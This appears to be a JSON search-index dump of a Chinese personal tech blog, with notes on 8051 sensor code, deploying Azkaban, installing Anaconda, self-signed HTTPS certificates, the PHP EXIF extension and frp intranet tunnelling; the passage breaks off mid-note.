count_r=0;U8 str[5]= {\"RS232\"};U16 U16temp1,U16temp2;void SendData(U8 *a) { outdata[0] = a[0]; outdata[1] = a[1]; outdata[2] = a[2]; outdata[3] = a[3]; outdata[4] = a[4]; count = 1; SBUF=outdata[0];}void Delay(U16 j) { U8 i; for(; j>0; j--) { for(i=0; i<27; i++); }}void Delay_10us(void) { U8 i; i--; i--; i--; i--; i--; i--;}void COM(void) { U8 i; for(i=0; i<8; i++) { U8FLAG=2; while((!TXP)&&U8FLAG++); Delay_10us(); Delay_10us(); Delay_10us(); U8temp=0; if(TXP) U8temp=1; U8FLAG=2; while((TXP)&&U8FLAG++); //超时则跳出for循环 if(U8FLAG==1) break; //判断数据位是0还是1 // 如果高电平高过预定0高电平值则数据位为 1 U8comdata<<=1; U8comdata|=U8temp; //0 }//rof}//--------------------------------//-----湿度读取子程序 ------------//--------------------------------//----以下变量均为全局变量--------//----温度高8位== U8T_data_H------//----温度低8位== U8T_data_L------//----湿度高8位== U8RH_data_H-----//----湿度低8位== U8RH_data_L-----//----校验 8位 == U8checkdata-----//----调用相关子程序如下----------//---- Delay();, Delay_10us();,COM();//--------------------------------void RH(void) { //主机拉低18ms TXP=0; Delay(180); TXP=1; //总线由上拉电阻拉高 主机延时20us Delay_10us(); Delay_10us(); Delay_10us(); Delay_10us(); //主机设为输入 判断从机响应信号 TXP=1; //判断从机是否有低电平响应信号 如不响应则跳出,响应则向下运行 if(!TXP) { //T ! U8FLAG=2; //判断从机是否发出 80us 的低电平响应信号是否结束 while((!TXP)&&U8FLAG++); U8FLAG=2; //判断从机是否发出 80us 的高电平,如发出则进入数据接收状态 while((TXP)&&U8FLAG++); //数据接收状态 COM(); U8RH_data_H_temp=U8comdata; COM(); U8RH_data_L_temp=U8comdata; COM(); U8T_data_H_temp=U8comdata; COM(); U8T_data_L_temp=U8comdata; COM(); U8checkdata_temp=U8comdata; TXP=1; //数据校验 U8temp=(U8T_data_H_temp+U8T_data_L_temp+U8RH_data_H_temp+U8RH_data_L_temp); if(U8temp==U8checkdata_temp) { U8RH_data_H=U8RH_data_H_temp; U8RH_data_L=U8RH_data_L_temp; U8T_data_H=U8T_data_H_temp; U8T_data_L=U8T_data_L_temp; U8checkdata=U8checkdata_temp; }//fi }//fi}//----------------------------------------------//main()功能描述: AT89C51 11.0592MHz 串口发//送温湿度数据,波特率 9600//----------------------------------------------void main() { U8 i=0,j=0; //uchar str[6]={\"RS232\"}; /* 系统初始化 */ TMOD = 0x20; //定时器T1使用工作方式2 TH1 = 253; // 设置初值 TL1 = 253; TR1 = 1; // 开始计时 SCON = 0x50; //工作方式1,波特率9600bps,允许接收 ES = 1; EA = 1; // 打开所以中断 TI = 0; RI = 0; SendData(str) ; //发送到串口 //Delay(1); //延时100US(12M晶振) while(1) { //------------------------ //调用温湿度读取子程序 RH(); //串口显示程序 //-------------------------- str[0]=U8RH_data_H; str[1]=U8RH_data_L; str[2]=U8T_data_H; str[3]=U8T_data_L; str[4]=U8checkdata; SendData(str) ; //发送到串口 //读取模块数据周期不易小于 2S Delay(20000); }//elihw}// mainvoid RSINTR() interrupt 4 using 2 { U8 InPut3; if(TI==1) { //发送中断 TI=0; if(count!=5) { //发送完5位数据 SBUF= outdata[count]; count++; } } if(RI==1) { //接收中断 InPut3=SBUF; indata[count_r]=InPut3; count_r++; RI=0; if (count_r==5) { //接收完4位数据 //数据接收完毕处理。 count_r=0; str[0]=indata[0]; str[1]=indata[1]; str[2]=indata[2]; str[3]=indata[3]; str[4]=indata[4]; P0=0; } }}"},{"title":"","date":"2018-12-02T09:52:00.000Z","updated":"2022-05-10T01:40:00.000Z","comments":true,"path":"notes/51/ultrasonic-ranging.html","permalink":"https://blog.mhuig.top/notes/51/ultrasonic-ranging","excerpt":"","text":"超声波测距 HC-SR04 超声波测距模块 串口 程序 /***********************************************************************************************************///HC-SR04 超声波测距模块 串口 程序//晶振:11.0592//接线:模块TRIG接 P1.2 ECH0 接P1.1//串口波特率9600//Atmel AT89C52 C51/***********************************************************************************************************/#include <AT89X51.H>#include <intrins.h>#include <STDIO.H>#define uchar unsigned char#define uint unsigned int#define RX P1_1#define TX P1_2unsigned int time=0;unsigned int timer=0;float S=0;bit flag =0;/********************************************************/void Conut(void) { time=TH0*256+TL0; TH0=0; TL0=0; S=(time*1.87)/100; //算出来是CM if(flag==1) { //超出测量 flag=0; printf(\"-----\\n\"); } printf(\"S=%fcm\\n\",S);}/********************************************************/void delayms(unsigned int ms) { unsigned char i=100,j; for(; ms; ms--) { while(--i) { j=10; while(--j); } }}/********************************************************/void zd0() interrupt 1 { //T0中断用来计数器溢出,超过测距范围 flag=1; //中断溢出标志}/********************************************************/void StartModule() { //T1中断用来扫描数码管和计800MS启动模块 TX=1; //800MS 启动一次模块 _nop_(); _nop_(); _nop_(); _nop_(); _nop_(); _nop_(); _nop_(); _nop_(); _nop_(); _nop_(); _nop_(); _nop_(); _nop_(); _nop_(); _nop_(); _nop_(); _nop_(); _nop_(); _nop_(); _nop_(); _nop_(); TX=0;}/********************************************************/void main(void) { TMOD=0x21; //设T0为方式1,GATE=1; SCON=0x50; TH1=0xFD; TL1=0xFD; TH0=0; TL0=0; TR0=1; ET0=1; //允许T0中断 TR1=1; //开启定时器 TI=1; EA=1; //开启总中断 while(1) { StartModule(); while(!RX); //当RX为零时等待 TR0=1; //开启计数 while(RX); //当RX为1计数并等待 TR0=0; //关闭计数 Conut(); //计算 delayms(100); //100MS }}"},{"title":"","date":"2019-05-10T06:37:00.000Z","updated":"2022-05-12T07:35:00.000Z","comments":true,"path":"notes/Azkaban/deploy.html","permalink":"https://blog.mhuig.top/notes/Azkaban/deploy","excerpt":"","text":"安装部署 Azkaban 安装部署 azkaban 单服务模式安装与使用所需软件azkaban-solo-server单服务模式安装 第一步:解压azkaban 的 solo server 使用的是一个单节点的模式来进行启动服务的,只需要一个 azkaban-solo-server-0.1.0-SNAPSHOT.tar.gz 的安装包即可启动,所有的数据信息都是保存在 H2 这个 azkaban 默认的数据当中,上传我们的压缩包,然后修改配置文件启动即可 cd /export/softwarestar -zxvf azkaban-solo-server-0.1.0-SNAPSHOT.tar.gz -C ../servers/ 第二步:修改两个配置文件修改时区配置文件 cd /export/servers/azkaban-solo-server-0.1.0-SNAPSHOT/confvim azkaban.properties azkaban.propertiesdefault.timezone.id=Asia/Shanghai 修改 commonprivate.properties 配置文件 cd /export/servers/azkaban-solo-server-0.1.0-SNAPSHOT/plugins/jobtypesvim commonprivate.properties commonprivate.propertiesexecute.as.user=falsememCheck.enabled=false 第三步:启动 solo-server启动 azkaban-solo-server cd /export/servers/azkaban-solo-server-0.1.0-SNAPSHOTbin/start-solo.sh 第四步:浏览器页面访问浏览器页面访问 http://node03:8081/ azkaban 两个服务模式安装确认所需软件Azkaban Web 服务安装包azkaban-web-server-0.1.0-SNAPSHOT.tar.gzAzkaban 执行服务安装包azkaban-exec-server-0.1.0-SNAPSHOT.tar.gz编译之后的 sql 脚本create-all-sql-0.1.0-SNAPSHOT.sqlC 程序文件脚本execute-as-user.c 程序 数据库准备进入 mysql 的客户端执行以下命令 mysql -uroot -p CREATE DATABASE azkaban;CREATE USER 'azkaban'@'%' IDENTIFIED BY 'azkaban';GRANT all privileges ON azkaban.* to 'azkaban'@'%' identified by 'azkaban' WITH GRANT OPTION;flush privileges;use azkaban;source /export/softwares/create-all-sql-0.1.0-SNAPSHOT.sql; 解压软件安装包解压 azkaban-web-server cd /export/softwarestar -zxvf azkaban-web-server-0.1.0-SNAPSHOT.tar.gz -C ../servers/cd /export/serversmv azkaban-web-server-0.1.0-SNAPSHOT/ azkaban-web-server-3.51.0 解压 azkaban-exec-server cd /export/softwarestar -zxvf azkaban-exec-server-0.1.0-SNAPSHOT.tar.gz -C ../servers/cd /export/serversmv azkaban-exec-server-0.1.0-SNAPSHOT/ azkaban-exec-server-3.51.0 安装 SSL 安全认证 允许我们使用 https 的方式访问 azkaban 的 web 服务密码 azkaban 一定要一个个的字母输入,或者粘贴也行 cd /export/servers/azkaban-web-server-3.51.0keytool -keystore keystore -alias jetty -genkey -keyalg RSA azkaban web server 安装修改 azkaban-web-server 的配置文件 cd /export/servers/azkaban-web-server-3.51.0/confvim azkaban.properties azkaban.properties# Azkaban Personalization Settingsazkaban.name=Azkabanazkaban.label=My Azkabanazkaban.color=#FF3601azkaban.default.servlet.path=/indexweb.resource.dir=web/default.timezone.id=Asia/Shanghai# Azkaban UserManager classuser.manager.class=azkaban.user.XmlUserManageruser.manager.xml.file=conf/azkaban-users.xml# Loader for projectsexecutor.global.properties=conf/global.propertiesazkaban.project.dir=projects# Velocity dev modevelocity.dev.mode=false# Azkaban Jetty server properties.jetty.use.ssl=truejetty.maxThreads=25jetty.port=8081jetty.keystore=/export/servers/azkaban-web-server-3.51.0/keystorejetty.password=azkabanjetty.keypassword=azkabanjetty.truststore=/export/servers/azkaban-web-server-3.51.0/keystorejetty.trustpassword=azkaban# Azkaban Executor settings# mail settingsmail.sender=mail.host=# User facing web server configurations used to construct the user facing server URLs. They are useful when there is a reverse proxy between Azkaban web servers and users.# enduser -> myazkabanhost:443 -> proxy -> localhost:8081# when this parameters set then these parameters are used to generate email links.# if these parameters are not set then jetty.hostname, and jetty.port(if ssl configured jetty.ssl.port) are used.# azkaban.webserver.external_hostname=myazkabanhost.com# azkaban.webserver.external_ssl_port=443# azkaban.webserver.external_port=8081job.failure.email=job.success.email=lockdown.create.projects=falsecache.directory=cache# JMX statsjetty.connector.stats=trueexecutor.connector.stats=true# Azkaban mysql settings by default. Users should configure their own username and password.database.type=mysqlmysql.port=3306mysql.host=node03mysql.database=azkabanmysql.user=azkabanmysql.password=azkabanmysql.numconnections=100#Multiple Executorazkaban.use.multiple.executors=true#azkaban.executorselector.filters=StaticRemainingFlowSize,MinimumFreeMemory,CpuStatusazkaban.executorselector.comparator.NumberOfAssignedFlowComparator=1azkaban.executorselector.comparator.Memory=1azkaban.executorselector.comparator.LastDispatched=1azkaban.executorselector.comparator.CpuUsage=1#executor.port=12321 azkaban executor server 安装第一步:修改 azkaban-exex-server 配置文件 cd /export/servers/azkaban-exec-server-3.51.0/confvim azkaban.properties azkaban.properties# Azkaban Personalization Settingsazkaban.name=Azkabanazkaban.label=My Azkabanazkaban.color=#FF3601azkaban.default.servlet.path=/indexweb.resource.dir=web/default.timezone.id=Asia/Shanghai# Azkaban UserManager classuser.manager.class=azkaban.user.XmlUserManageruser.manager.xml.file=conf/azkaban-users.xml# Loader for projectsexecutor.global.properties=conf/global.propertiesazkaban.project.dir=projects# Velocity dev modevelocity.dev.mode=false# Azkaban Jetty server properties.jetty.use.ssl=truejetty.maxThreads=25jetty.port=8081jetty.keystore=/export/servers/azkaban-web-server-3.51.0/keystorejetty.password=azkabanjetty.keypassword=azkabanjetty.truststore=/export/servers/azkaban-web-server-3.51.0/keystorejetty.trustpassword=azkaban# Where the Azkaban web server is locatedazkaban.webserver.url=https://node03:8443# mail settingsmail.sender=mail.host=# User facing web server configurations used to construct the user facing server URLs. They are useful when there is a reverse proxy between Azkaban web servers and users.# enduser -> myazkabanhost:443 -> proxy -> localhost:8081# when this parameters set then these parameters are used to generate email links.# if these parameters are not set then jetty.hostname, and jetty.port(if ssl configured jetty.ssl.port) are used.# azkaban.webserver.external_hostname=myazkabanhost.com# azkaban.webserver.external_ssl_port=443# azkaban.webserver.external_port=8081job.failure.email=job.success.email=lockdown.create.projects=falsecache.directory=cache# JMX statsjetty.connector.stats=trueexecutor.connector.stats=true# Azkaban plugin settingsazkaban.jobtype.plugin.dir=plugins/jobtypes# Azkaban mysql settings by default. Users should configure their ownusername and password.database.type=mysqlmysql.port=3306mysql.host=node03mysql.database=azkabanmysql.user=azkabanmysql.password=azkabanmysql.numconnections=100# Azkaban Executor settingsexecutor.maxThreads=50executor.flow.threads=30 第二步:添加插件 将我们编译后的 C 文件 execute-as-user.c上传到这个目录来 /export/servers/azkaban-exec-server-3.51.0/plugins/jobtypes或者直接将我们 /export/softwares 下面的文件拷贝过来也行 cp /export/softwares/execute-as-user.c /export/servers/azkaban-execserver-3.51.0/plugins/jobtypes/ 然后执行以下命令生成 execute-as-user yum -y install gcc-c++cd /export/servers/azkaban-exec-server-3.51.0/plugins/jobtypesgcc execute-as-user.c -o execute-as-userchown root execute-as-userchmod 6050 execute-as-user 第三步:修改配置文件 修改配置文件 cd /export/servers/azkaban-exec-server-3.51.0/plugins/jobtypesvim commonprivate.properties commonprivate.propertiesexecute.as.user=falsememCheck.enabled=falseazkaban.native.lib=/export/servers/azkaban-exec-server3.51.0/plugins/jobtypes 启动服务第一步:启动 azkaban exec server cd /export/servers/azkaban-exec-server-3.51.0bin/start-exec.sh 第二步:激活我们的 exec-server node03 机器任意目录下执行以下命令 (随机找个端口号进行激活) curl -G \"node03:$(<./executor.port)/executor?action=activate\" && echo 第三步:启动 azkaban-web-serve cd /export/servers/azkaban-web-server-3.51.0/bin/start-web.sh 访问地址:https://node03:8443 修改 linux 的时区问题由于先前做好了时钟同步,所以不用担心时区问题,不需要修改时区了注:先配置好服务器节点上的时区1、先生成时区配置文件 Asia/Shanghai,用交互式命令 tzselect 即可2、拷贝该时区文件,覆盖系统本地时区配置 cp /usr/share/zoneinfo/Asia/Shanghai /etc/localtime Azkaban 实战Azkaba 内置的任务类型支持 command、javaCommand 类型单一 job 示例创建 job 描述文件创建文本文件,更改名称为 mycommand.job注意后缀.txt 一定不要带上,保存为格式为 UFT-8 without bom内容如下 type=commandcommand=echo 'hello world' 将 job 资源文件打包成 zip 文件创建 project 并上传压缩包通过 azkaban 的 web 管理平台创建 project 并上传 job 压缩包首先创建 project上传 zip 包启动执行 job Command 类型多 job 工作流 flow1、创建有依赖关系的多个 job 描述 第一个 job:foo.job type=commandcommand=echo 'foo' 第二个 job:bar.job 依赖 foo.job type=commanddependencies=foocommand=echo 'bar' 2、将所有 job 资源文件打到一个 zip 包中3、在 azkaban 的 web 管理界面创建工程并上传 zip 包4、启动工作流 flow HDFS 操作任务 (通过 azkaban 在 hdfs 上创建一个目录)1、创建 job 描述文件 fs.job type=commandcommand=/export/servers/hadoop-2.6.0-cdh5.14.0/bin/hdfs dfs -mkdir /azkaban 2、将 job 资源文件打包成 zip 文件3、通过 azkaban 的 web 管理平台创建 project 并上传 job 压缩包4、启动执行该 job MAPREDUCE 任务Mr 任务依然可以使用 command 的 job 类型来执行 1、创建 job 描述文件,及 mr 程序 jar 包(示例中直接使用 hadoop 自带的 example jar) type=commandcommand=/export/servers/hadoop-2.6.0-cdh5.14.0/bin/hadoop jar hadoopmapreduce-examples-2.6.0-cdh5.14.0.jar pi 3 5 2、将所有 job 资源文件打到一个 zip 包中3、在 azkaban 的 web 管理界面创建工程并上传 zip 包4、启动 job HIVE 脚本任务创建 job 描述文件和 hive 脚本Hive 脚本: hive.sql create database if not exists azhive;use azhive;create table if not exists aztest(id string,name string) row format delimitedfields terminated by '\\t'; Job 描述文件:hive.job type=commandcommand=/export/servers/hive-1.1.0-cdh5.14.0/bin/hive -f 'hive.sql' 将所有 job 资源文件打到一个 zip 包中在 azkaban 的 web 管理界面创建工程并上传 zip 包启动 job cd /export/servers/hive-1.1.0-cdh5.14.0/bin/hiveshow databases;use azhive;show tables; azkaban 的定时任务使用 azkaban 的 scheduler 功能可以实现对我们的作业任务进行定时调度功能"},{"title":"","date":"2022-05-10T06:36:00.000Z","updated":"2022-05-10T06:36:00.000Z","comments":true,"path":"notes/Azkaban/index.html","permalink":"https://blog.mhuig.top/notes/Azkaban/","excerpt":"","text":".fa-secondary{opacity:.4} Azkaban Azkaban .prev-next{ display: none !important; }"},{"title":"","date":"2019-05-10T06:37:00.000Z","updated":"2022-05-12T07:35:00.000Z","comments":true,"path":"notes/Azkaban/overview.html","permalink":"https://blog.mhuig.top/notes/Azkaban/overview","excerpt":"","text":"Overview Azkaban Overview 为什么需要工作流调度系统 一个完整的数据分析系统通常都是由大量任务单元组成:shell 脚本程序,java 程序,mapreduce 程序、hive 脚本等 各任务单元之间存在时间先后及前后依赖关系 为了很好地组织起这样的复杂执行计划,需要一个工作流调度系统来调度执行; 例如,我们可能有这样一个需求,某个业务系统每天产生 20G 原始数据,我们每天都要对其进行处理,处理步骤如下所示: 1、 通过 Hadoop 先将原始数据同步到 HDFS 上; 2、 借助 MapReduce 计算框架对原始数据进行转换,生成的数据以分区表的形式存储到多张 Hive 表中; 3、 需要对 Hive 中多个表的数据进行 JOIN 处理,得到一个明细数据 Hive 大表; 4、 将明细数据进行各种统计分析,得到结果报表信息; 5、 需要将统计分析得到的结果数据同步到业务系统中,供业务调用使用。 工作流调度实现方式简单的任务调度:直接使用 linux 的 crontab 来定义;复杂的任务调度:开发调度平台或使用现成的开源调度系统,比如 ooize、azkaban、airflow 等 常见工作流调度系统市面上目前有许多工作流调度器在 hadoop 领域,常见的工作流调度器有 Oozie, Azkaban,Cascading,Hamake 等 Azkaban 介绍azkaban 官网:https://azkaban.github.io/ Azkaban 是由 Linkedin 开源的一个批量工作流任务调度器。用于在一个工作流内以一个特定的顺序运行一组工作和流程。Azkaban 定义了一种 KV 文件 (properties) 格式来建立任务之间的依赖关系,并提供一个易于使用的 web 用户界面维护和跟踪你的工作流。它有如下功能特点: Web 用户界面 方便上传工作流 方便设置任务之间的关系 调度工作流 认证 / 授权 (权限的工作) 能够杀死并重新启动工作流 模块化和可插拔的插件机制 项目工作区 工作流和任务的日志记录和审计"},{"title":"","date":"2019-09-22T03:14:00.000Z","updated":"2022-05-12T08:50:00.000Z","comments":true,"path":"notes/CentOS/anaconda3.html","permalink":"https://blog.mhuig.top/notes/CentOS/anaconda3","excerpt":"","text":"安装 Anaconda3 Centos7 安装 Anaconda3 Anaconda 是一个免费开源的 Python 和 R 语言的发行版本,用于计算科学(数据科学、机器学习、大数据处理和预测分析),Anaconda 致力于简化包管理和部署。 安装下载 Anaconda方式一:官方网站 方式二:清华大学开源软件镜像站 可以下载到本地,然后通过 xftp 上传到 Contos 上 bash Anaconda3-4.4.0-Linux-x86_64.sh 该按 enter 按,该 yes|no 的 yes。 source ~/.bashrc 然后重启终端,然后输入 python Anaconda 虚拟环境创建环境conda create -n envname python=3.6 删除环境conda remove -n envname --all 激活环境source activate envname 退出环境source deactivate Anaconda 换源添加清华源conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/free/conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud/conda-forgeconda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud/msys2/conda config --set show_channel_urls yes 删源conda config --remove-key channels 附录清华大学开源软件镜像站 channels: - https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/main/ - https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/free/ - https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud/conda-forge/ssl_verify: true 上海交通大学开源镜像站 channels: - https://mirrors.sjtug.sjtu.edu.cn/anaconda/pkgs/main/ - https://mirrors.sjtug.sjtu.edu.cn/anaconda/pkgs/free/ - https://mirrors.sjtug.sjtu.edu.cn/anaconda/cloud/conda-forge/ssl_verify: true 中国科学技术大学 USTC Mirror channels: - https://mirrors.ustc.edu.cn/anaconda/pkgs/main/ - https://mirrors.ustc.edu.cn/anaconda/pkgs/free/ - https://mirrors.ustc.edu.cn/anaconda/cloud/conda-forge/ssl_verify: true .bashrc 里面修改过 PATH 环境变量,添加过 anaconda/bin vi ~/.bashrc 最后添加 conda deactivate source .bashrc"},{"title":"","date":"2019-09-19T03:24:00.000Z","updated":"2022-05-10T07:12:00.000Z","comments":true,"path":"notes/CentOS/centosx3.html","permalink":"https://blog.mhuig.top/notes/CentOS/centosx3","excerpt":"","text":"三台虚拟机创建并联网 大数据处理技术 - 三台虚拟机创建并联网 volantis.css(\"/lib/hexo-github/github.css\"); volantis.js(\"/lib/hexo-github/github.js\").then(() => { new Badge(\"#badge-container-MHuiG-BigData-Archive-4bf68d5a9dfa76e95fd97bd641f84806e5e0bcb9\", \"MHuiG\", \"BigData-Archive\", \"4bf68d5a9dfa76e95fd97bd641f84806e5e0bcb9\", false); })"},{"title":"","date":"2019-09-23T11:53:00.000Z","updated":"2022-05-12T12:30:00.000Z","comments":true,"path":"notes/CentOS/certificate.html","permalink":"https://blog.mhuig.top/notes/CentOS/certificate","excerpt":"","text":"自建 https 证书 自建 https 证书 生成 nginx 的证书与配置 chrome 安全告警的问题 安装 openssl生成根证书openssl req -x509 -nodes -days 1461 -newkey rsa:2048 -subj \"/C=CN/ST=MyProvince/L=MyCity/O=MyOrganization\" -keyout CA-private.key -out CA-certificate.crt -reqexts v3_req -extensions v3_ca 生成私钥openssl genrsa -out private.key 2048 openssl req -new -key private.key -subj \"/C=CN/ST=MyProvince/L=MyCity/O=MyOrganization/CN=xxx.xxx.xxx.xxx\" -sha256 -out private.csr 解决 Chrome 安全警告按照上面的流程,需要注意的是,在默认情况下生成的证书一旦选择信任,在 Edge, Firefox 等浏览器都显示为安全,但是 Chrome 仍然会标记为不安全并警告拦截,这是因为 Chrome 需要证书支持扩展 Subject Alternative Name, 因此生成时需要特别指定 SAN 扩展并添加相关参数。SAN Extension 所需配置文件关键属性: req_distinguished_name: 一节的内容与上面 -subj 一样都是证书的附加信息subjectAltName: 是最关键的属性,取值有两种情况,除前缀外值应与上一步 -subj 中指定的 CN 参数值相同:如果是为某一域名签发证书,则其值可为 DNS:www.example.com 或者使用通配符 DNS:*.example.com;如果为 IP 地址颁发证书,则应该使用 IP:xxx.xxx.xxx.xxx 的形式。 [ req ]default_bits = 2048distinguished_name = req_distinguished_namereq_extensions = sanextensions = san[ req_distinguished_name ]countryName = CNstateOrProvinceName = MyProvincelocalityName = MyCityorganizationName = MyOrganization[SAN]authorityKeyIdentifier=keyid,issuerbasicConstraints=CA:FALSEkeyUsage = digitalSignature, nonRepudiation, keyEncipherment, dataEnciphermentsubjectAltName = IP:xxx.xxx.xxx.xxx 将上述内容放到一个文件中,命名为 private.ext 执行命令,生成证书openssl x509 -req -days 1461 -in private.csr -CA CA-certificate.crt -CAkey CA-private.key -CAcreateserial -sha256 -out private.crt -extfile private.ext -extensions SAN nginx 中配置如下: server { listen 443; server_name localhost; ssl on; ssl_certificate /alidata/ssl/private.crt; ssl_certificate_key /alidata/ssl/private.key;} 使用证书生成的具体域名证书和私钥可在 nginx 中使用,然后再客户端所在电脑导入根证书: Windows 需要添加根证书至 受信任的根证书颁发机构macOS 将其导入 钥匙串访问 并选择信任另外 Windows 快捷安装根证书脚本如下 (需要管理员权限): certutil -addstore -f -enterprise -user root \".\\CA-certificate.crt\" 在 window 或者 mac 上安装 private.crt 文件后,nginx 上页面或者接口就可以正常访问了。"},{"title":"","date":"2019-09-22T02:29:00.000Z","updated":"2022-05-12T12:17:00.000Z","comments":true,"path":"notes/CentOS/exif.html","permalink":"https://blog.mhuig.top/notes/CentOS/exif","excerpt":"","text":"PHP-EXIF 扩展 Linux 安装 PHP-EXIF 扩展模块 您可以使用 exif 相关的函数从文件头读取数码相机拍摄的 JPEG 和 TIFF 格式的图像文件元数据。 安装编译 PHP 时安装使用–enable-exif 选项配置 PHP 来启用 exif 支持。 Windows 用户必须在 php.ini 中启用 php_mbstring.dll 和 php_exif.dll 扩展。请确保在 php.ini 中保持正确的顺序:php_mbstring.dll 必须在 php_exif.dll 之前加载。 源码安装在 PHP 源码中可以找到 EXIF 扩展源码,然后编译安装到当前的 PHP 环境中 cd /Main/sh-1.5.5/php-5.5.7/ext/exif/alidata/server/php-5.5.7/bin/phpize./configure --with-php-config=/alidata/server/php-5.5.7/bin/php-configmake && make install cd 进入 /alidata/server/php-5.5.7/etc 文件夹,修改 php.ini,添加 exif.so 扩展 extension = exif.so 重启Apache 服务器service httpd restart Nginx 的服务器Nginx 服务器重启之前,需要先重启 php-fpm service php-fpm restartnginx -s reload 查看使用 phpinfo () 查看 PHP 环境,安装配置成功。"},{"title":"","date":"2019-09-22T06:30:00.000Z","updated":"2022-05-12T12:25:00.000Z","comments":true,"path":"notes/CentOS/frp.html","permalink":"https://blog.mhuig.top/notes/CentOS/frp","excerpt":"","text":"Frp 内网穿透 Frp 内网穿透 frp 是一个可用于内网穿透的高性能的反向代理应用,支持 tcp, udp 协议,为 http 和 https 应用协议提供了额外的能力,且尝试性支持了点对点穿透。 github 启动 frps cd /Main/frp_024.1_server/chmod -Rf 777 ./*./frps -c frps.ini 相关配置 frps.ini# frps.ini[common]bind_port = 7000token = yourtokendashboard_port = 7500dashboard_user = usernamedashboard_pwd = yourpasswordvhost_http_port = 9000 #设置 http 访问端口 frpc.ini# frpc.ini[common]server_addr = x.x.x.x #假设 frps 所在服务器的公网 IP 为 x.x.x.xserver_port = 7000 #与frps.ini bind_port一致token = yourtoken #与frps.ini token一致#[ssh]#type = tcp#local_ip = 127.0.0.1#local_port = 22#remote_port = 8080[web]type = httplocal_port = 8000 #本地机器上 web 服务对应的端口custom_domains = www.yourdomain.com #绑定自定义域名或serverip 关闭防火墙 systemctl stop firewalld.servicesystemctl disable firewalld.service 设置开机自启动 vim /lib/systemd/system/frps.service frps.service#frps.service[Unit]Description=fraps serviceAfter